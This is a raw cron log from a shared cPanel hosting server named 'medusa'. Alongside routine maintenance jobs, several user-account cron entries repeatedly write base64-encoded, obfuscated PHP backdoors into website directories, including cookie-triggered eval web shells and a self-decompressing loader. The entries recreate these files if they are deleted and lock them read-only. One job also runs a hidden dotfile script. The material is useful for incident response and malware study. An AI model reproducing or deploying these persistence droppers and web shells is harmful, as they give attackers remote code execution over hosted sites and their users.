Jun  7 08:25:02 medusa CROND[26255]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:25:02 medusa CROND[26256]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 08:25:02 medusa CROND[26258]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 08:25:02 medusa CROND[26257]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 08:25:02 medusa CROND[26259]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:25:02 medusa CROND[26260]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:25:02 medusa CROND[26263]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:25:02 medusa CROND[26268]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:25:02 medusa CROND[26270]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:25:02 medusa CROND[26271]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:25:02 medusa CROND[26273]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:25:02 medusa CROND[26275]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:25:02 medusa CROND[26283]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Jun  7 08:25:02 medusa CROND[26261]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 08:25:02 medusa CROND[26267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:26:01 medusa CROND[28440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:26:01 medusa CROND[28448]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:26:01 medusa CROND[28483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:26:01 medusa CROND[28484]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:26:01 medusa CROND[28488]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:26:01 medusa CROND[28489]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:26:01 medusa CROND[28490]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:26:01 medusa CROND[28493]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:26:01 medusa CROND[28494]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:26:01 medusa CROND[28491]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 08:26:01 medusa CROND[28496]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:26:01 medusa CROND[28498]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:26:01 medusa CROND[28499]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:26:01 medusa CROND[28492]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 08:27:02 medusa CROND[30412]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:27:02 medusa CROND[30413]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:27:02 medusa CROND[30414]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:27:02 medusa CROND[30416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:27:02 medusa CROND[30415]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:27:02 medusa CROND[30417]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 08:27:02 medusa CROND[30418]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
